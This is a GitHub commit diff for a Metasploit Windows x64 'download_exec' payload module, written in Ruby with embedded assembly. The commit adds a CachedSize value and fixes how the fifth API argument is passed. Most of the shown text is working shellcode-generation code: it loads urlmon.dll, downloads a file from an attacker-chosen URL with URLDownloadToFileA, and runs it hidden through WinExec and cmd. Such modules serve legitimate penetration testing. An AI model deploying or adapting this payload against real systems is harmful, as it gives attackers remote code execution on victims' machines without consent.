Skip to content

Commit 90d15cb

Browse files
authored
finalize the payload
add CachedSize & fix the fifth arg problem & run rubocop
1 parent 0344591 commit 90d15cb

File tree

1 file changed

+67
-67
lines changed

1 file changed

+67
-67
lines changed

modules/payloads/singles/windows/x64/download_exec.rb

Lines changed: 67 additions & 67 deletions
Original file line numberDiff line numberDiff line change
@@ -4,128 +4,128 @@
44
##
55

66
module MetasploitModule
7+
CachedSize = 364
78

8-
include Msf::Payload::Single
9-
include Msf::Payload::Windows
10-
include Msf::Payload::Windows::BlockApi_x64
11-
12-
def initialize(info = {})
13-
super(
14-
update_info(
15-
info,
16-
'Name' => 'Windows Download Execute',
17-
'Description' => 'Downloads and executes the file from the specified url.',
18-
'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>',
19-
'License' => MSF_LICENSE,
20-
'Platform' => 'win',
21-
'Arch' => ARCH_X64
22-
)
23-
)
24-
25-
display_options = ['HIDE', 'SHOW']
9+
include Msf::Payload::Single
10+
include Msf::Payload::Windows
11+
include Msf::Payload::Windows::BlockApi_x64
2612

27-
register_options(
28-
[
29-
OptString.new('URL', [true, 'The url to download the file from.', 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg']),
30-
OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.jpg']),
31-
OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options])
32-
]
33-
)
34-
end
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Windows Download Execute',
18+
'Description' => 'Downloads and executes the file from the specified url.',
19+
'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>',
20+
'License' => MSF_LICENSE,
21+
'Platform' => 'win',
22+
'Arch' => ARCH_X64
23+
)
24+
)
3525

36-
def generate(_opts={})
26+
display_options = %w[HIDE SHOW]
3727

38-
url = (datastore['URL'] || 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg')
39-
file = (datastore['FILEPATH'] || 'fox.jpg')
40-
display = (datastore['DISPLAY'] || 'HIDE')
28+
register_options(
29+
[
30+
OptString.new('URL', [true, 'The url to download the file from.', 'http://localhost/hi.exe']),
31+
OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.exe']),
32+
OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options])
33+
]
34+
)
35+
end
4136

37+
def generate(_opts = {})
38+
url = datastore['URL'] || 'http://localhost/hi.exe'
39+
file = datastore['FILEPATH'] || 'fox.exe'
40+
display = datastore['DISPLAY'] || 'HIDE'
4241

43-
payload = %^
42+
payload = %^
4443
cld
45-
and rsp, -16
44+
and rsp, -16
4645
call main
4746
#{asm_block_api}
4847
4948
main:
50-
pop rbp
49+
pop rbp
5150
call LoadLibrary
5251
db "urlmon.dllK"
5352
; V, is this the land of do-as-you-please?
5453
5554
LoadLibrary:
5655
pop rcx ; rcx points to the dll name.
5756
xor byte [rcx+10], 'K' ; null terminator
58-
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','LoadLibraryA')}
57+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
5958
call rbp ; LoadLibraryA("urlmon.dll")
6059
; To live alone one must be an animal or a god, says Aristotle. There is yet a third case: one must be both--a philosopher.
61-
60+
6261
SetUrl:
6362
call SetFile
6463
db "#{url}A"
6564
; The Sound of Silence maybe a Careless Whisper?
66-
65+
6766
SetFile:
68-
pop rdx ; 2nd argument
67+
pop rdx ; 2nd argument
6968
xor byte [rdx+#{url.length}], 'A' ; null terminator
7069
call UrlDownloadToFile
7170
db "#{file}C"
7271
; Never compromise not even in the face of armageddon.
73-
72+
7473
UrlDownloadToFile:
7574
pop r8 ; 3rd argument
7675
xor byte [r8+#{file.length}], 'C' ; null terminator
7776
xor rcx,rcx ; 1st argument
7877
xor r9,r9 ; 4th argument
79-
mov qword [rsp+0x30], rcx ; 5th argument
80-
mov r10d, #{Rex::Text.block_api_hash('urlmon.dll','URLDownloadToFileA')}
78+
sub rsp, 8
79+
push rcx ; 5th argument
80+
mov r10d, #{Rex::Text.block_api_hash('urlmon.dll', 'URLDownloadToFileA')}
8181
call rbp
8282
; I can see the sun, but even if I cannot see the sun, I know that it exists. And to know that the sun is there - that is living.
83-
83+
8484
SetCommand:
8585
call Exec
8686
db "cmd /c #{file}F"
87-
87+
8888
Exec:
8989
pop rcx ; 1st argument
90-
xor byte [rcx+#{file.length + 7 }], 'F' ; null terminator
91-
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','WinExec')}
90+
xor byte [rcx+#{file.length + 7}], 'F' ; null terminator
91+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')}
9292
xor rdx, rdx ; 2nd argument
9393
^
9494

95-
if display == 'HIDE'
96-
hide = %^
95+
if display == 'HIDE'
96+
hide = %(
9797
call rbp
9898
; I am vengeance! I am the night! I am Batman!
99-
^
100-
payload << hide
99+
)
100+
payload << hide
101101

102-
elsif display == 'SHOW'
103-
show = %^
102+
elsif display == 'SHOW'
103+
show = %(
104104
inc rdx ; SW_NORMAL = 1
105105
call rbp
106106
; It's our only home. Our heaven and our hell. This is Outer Heaven.
107-
^
108-
payload << show
109-
end
107+
)
108+
payload << show
109+
end
110110

111-
if datastore['EXITFUNC'] == 'process'
112-
exit_asm = %^
111+
if datastore['EXITFUNC'] == 'process'
112+
exit_asm = %(
113113
xor rcx,rcx
114-
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','ExitProcess')}
114+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
115115
call rbp
116-
^
117-
payload << exit_asm
118-
119-
elsif datastore['EXITFUNC'] == 'thread'
120-
exit_asm = %^
116+
)
117+
payload << exit_asm
118+
119+
elsif datastore['EXITFUNC'] == 'thread'
120+
exit_asm = %(
121121
xor rcx,rcx
122-
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','ExitThread')}
122+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')}
123123
call rbp
124124
; She walks in beauty, like the night...
125-
^
126-
payload << exit_asm
127-
end
128-
129-
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
125+
)
126+
payload << exit_asm
130127
end
128+
129+
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
130+
end
131131
end

0 commit comments

Comments
 (0)